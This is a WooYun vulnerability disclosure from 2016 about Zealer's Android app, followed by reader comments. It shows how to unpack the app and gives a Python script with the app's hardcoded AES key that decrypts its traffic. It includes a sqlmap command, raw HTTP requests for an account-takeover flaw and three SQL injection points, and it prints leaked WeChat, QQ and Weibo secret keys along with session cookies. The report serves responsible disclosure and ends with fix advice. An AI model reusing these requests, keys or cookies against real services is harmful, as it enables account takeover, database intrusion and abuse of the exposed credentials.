当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0215621

漏洞标题:Zealer_android客户端安全检测(从脱壳到burp自动加解密插件案例/SQL注入/逻辑漏洞/附AES加解密脚本POC)

相关厂商:ZEALER.COM

漏洞作者: kevinchowsec

提交时间:2016-06-02 21:21

修复时间:2016-07-18 18:30

公开时间:2016-07-18 18:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-06-02: 细节已通知厂商并且等待厂商处理中
2016-06-03: 厂商已经确认,细节仅向厂商公开
2016-06-13: 细节向核心白帽子及相关领域专家公开
2016-06-23: 细节向普通白帽子公开
2016-07-03: 细节向实习白帽子公开
2016-07-18: 细节向公众公开

简要描述:

Zealer的Android客户端,采用AES加密请求和返回数据包,其APK本身加了数字公司的壳。
这里讲的是真相,偏少传道授业,稍后会有关于burp自动加解密插件的文章发布在drops,作者是:bit4。

详细说明:

Package: com.zealer.app
Application Label: ZEALER
Process Name: com.zealer.app
Version: 2.0.4
Data Directory: /data/data/com.zealer.app
APK Path: /data/app/com.zealer.app-1/base.apk
Main activity: com.qihoo.util.StartActivity
通过脱去数字公司加固外壳,反编译代码获得AES算法详细,
再通过编写burp插件,实现自动加解密客户端所调用接口的数据,
最后进行批量安全扫描与逻辑漏洞测试。

漏洞证明:

1、ZealerAPK安装在Nexus6上,打开调试模式,并Root。通过"drizzleDumper"对ZealerAPK脱去数字公司加固外壳,得到dex。

脱壳1.png


2、拷贝dex至PC机,dex2jar,查看源代码,在"com/zealer.app/utils/AESUtil.class"可以得到整个加解密类的明文代码,未做混淆。

AES算法详细.png


3、写一个PY验证:

from Crypto.Cipher import AES
import base64
import urlparse
import urllib
BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s: s[0:-ord(s[-1])]
class AESCipher:
def __init__( self ):
self.key = "@tony@2015ZEALER"
self.iv = "0123456789ABCDEF"
def encrypt( self, raw ):
"""
Returns hex encoded encrypted value!
"""
raw = pad(raw)
#iv = Random.new().read(AES.block_size);
cipher = AES.new( self.key, AES.MODE_CBC, self.iv )
#aes_result = ( iv + cipher.encrypt(raw) ).encode("hex")
result = base64.encodestring(cipher.encrypt(raw))
return result
def decrypt( self, enc ):
"""
Requires hex encoded param to decrypt
"""
enc = base64.decodestring(enc)
cipher = AES.new(self.key, AES.MODE_CBC, self.iv )
return unpad(cipher.decrypt( enc))
if __name__ == "__main__":
while True:
r_input = raw_input("\r\nplease input the decode URL:\r\n")
input_str = str(r_input)
if "?" in input_str:
url_para = urlparse.urlparse(input_str).query
else:
url_para = input_str
print 'Only support links with parameters in the request.'
lists = url_para.split('&')
aes = AESCipher()
print '\r'
for item in lists:
try:
print item.split("=")[0]+" : "+aes.decrypt(urllib.unquote(item.split("=")[1]))
except Exception, e:
pass
#exit()

把带参数的链接input进去回车就可以看到参数的明文:

AESpydecode.png


4、将算法交给@bit4 写一个burp插件,
设计流程如下:

插件流程.png

原始请求包是这样的:

原始请求包.png

实现效果如下:

插件效果.png

题外话:关于该burp插件的开发过程,@bit4 会发布在drops。
5、现在就可以在PC上使用扫描器来自动化检测漏洞了,方法是把流量都转发到burp代理来。这里以sqlmap扫描注入漏洞来做个例子。

sqlmap.py -r app.zealer.txt --proxy=http://127.0.0.1:8080/

burp自动加解密,sqlmap跑得不亦乐乎。

sql注入过程.png


6、安全漏洞总结:
①任意微博账户登录:http://wooyun.org/bugs/wooyun-2010-0215238的升级版,现在只需要改数据包中的明文open_id值提交请求就可以获得该微博账号登录Zealer的z_q1值,可以登录Web端。

POST /call/social?access_token=12312312312312312312312312312312&android=android&channel=004&expires_in=1465585200416&nick_name=wooyun&open_id=5217947713&profile_image_url=http://zone.wooyun.orghttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/avatar/avatar_65641438737858_b.jpg&type=weibo&appVersion=2.0.4 HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip

微博登录.png

得到z_q1值后登录web端,可以看到ZEALER-FIX的账号已被登录:

微博登录fix.png


②登录接口暴力破解:

登录接口暴力破解1.png

登录接口暴力破解2.png


③短信验证码暴力破解(猜想可用于密码找回,未验证):

短信验证码暴力破解1.png

短信验证码暴力破解2.png


④泄露第三方SecretKey:

第三方调用key.png

微信
wx6d57145b266819b7 18be9764a94cf37dfa45ebc09937b742
wx31585081521996f7 39123eba15a1ccb61b741567ce673633
QQ
1104974936 iuTcCKDNAr6TDO3i
新浪微博
3023567517 98ea848255a45a4630a993d6489d2d44

weixinapi.png


⑤sql注入3个,自行替换其中的cookie值再去验证。

POST /recommend/list?android=android&type=index HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 5.1; zh-cn; MX5 Build/LMY47I) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: zealer=20d1e4a347e9abf307cc2617532d82d72bf477c5a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22804100%22%3Bi%3A1%3Bs%3A11%3A%2213085632914%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22Z_KVx9R9UC%22%3Bs%3A8%3A%22nickname%22%3Bs%3A11%3A%2213085632914%22%3Bs%3A5%3A%22email%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22Y%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D; z_q1=356u5v2hdrjnicicp3fqj9h1t7
Cookie2: $Version=1
Accept-Encoding: gzip

POST /user/notice?android=android&channel=004&page=1&token=g851pf9tvq62o7p1vhkggrmg06&appVersion=2.0.4 HTTP/1.1
Content-Length: 0
Host: app.zealer.com
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 6.0; zh-cn; PRO 6 Build/MRA58K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Cookie: z_q1=g851pf9tvq62o7p1vhkggrmg06; zealer=d31588a0d9993c07ed4da902f55eca2ac3961d09a%3A4%3A%7Bi%3A0%3Bs%3A6%3A%22239112%22%3Bi%3A1%3Bs%3A11%3A%2215920390845%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A6%3A%7Bs%3A8%3A%22username%22%3Bs%3A10%3A%22sz123%22%3Bs%3A8%3A%22nickname%22%3Bs%3A10%3A%22sz123%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22123%40163.com%22%3Bs%3A7%3A%22purview%22%3Bs%3A4%3A%22user%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22N%22%3Bs%3A4%3A%22type%22%3Bs%3A0%3A%22%22%3B%7D%7D
Cookie2: $Version=1
Accept-Encoding: gzip

sql2.png

GET /reMobile/siftData?cartegory=phone&cid=&memory=&mid=&net=&order=2&parts=&rolex=12* HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://fix.zealer.com/reMobile/
Cookie: z_q1=89rg5pqc2mdh4c4h6hmqih8k22; Hm_lvt_93a776aa5a5632380561feba017dd90f=1463554266,1463554507; Hm_lpvt_93a776aa5a5632380561feba017dd90f=1463554507; z_q1=89rg5pqc2mdh4c4h6hmqih8k22; HMACCOUNT=39D8814D3EB2E447
Host: fix.zealer.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

sql.png


参考信息:

《一种常规Android脱壳技术的拓展(附工具)》 http://www.freebuf.com/sectool/105147.html
再一次感谢@bit4 提供插件帮助,希望drops赶紧发。

修复方案:

不要信任前端、数据加密,在服务端做好校验是才是王道。
修复参考:

《Android安全开发之浅谈密钥硬编码》http://drops.wooyun.org/tips/15870

版权声明:转载请注明来源 kevinchowsec@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-06-03 18:22

厂商回复:

好吧,客户端代码原来是这样的不安全,那我们只能提高服务接口的安全了

最新状态:

暂无


漏洞评价:

评价

  1. 2016-06-02 21:34 | Mixes ( 普通白帽子 | Rank:116 漏洞数:20 | :))

  2. 2016-06-02 21:34 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高,标题一定得屌)

    厉害了

  3. 2016-06-02 21:36 | Soulmk ( 实习白帽子 | Rank:62 漏洞数:18 | 你好,补丁君~)

    学习app安全~

  4. 2016-06-02 21:49 | loli 认证白帽子 ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

    不是说不挖他们的洞了嘛

  5. 2016-06-02 23:39 | hecate ( 普通白帽子 | Rank:864 漏洞数:132 | ®高级安全工程师 | WooYun认证√)

    学习脱数字壳的手法

  6. 2016-06-03 00:17 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:139 | 爱吃小龙虾。)

    我告诉王自如去...

  7. 2016-06-03 11:15 | Hxai11 ( 普通白帽子 | Rank:1265 漏洞数:238 )

    可以

  8. 2016-06-03 17:53 | bit4 ( 路人 | Rank:18 漏洞数:3 | 终于,我也是有ID的人了!)

    膜拜大神!

  9. 2016-06-13 18:33 | scanf ( 核心白帽子 | Rank:1798 漏洞数:246 | 。)

    可怕 看不懂java代码怎么写。。。

  10. 2016-06-23 09:36 | kevinchowsec ( 实习白帽子 | Rank:94 漏洞数:21 | 周凯文,信息安全爱好者。)

    More:http://www.freebuf.com/articles/terminal/106673.html & http://drops.wooyun.org/papers/17042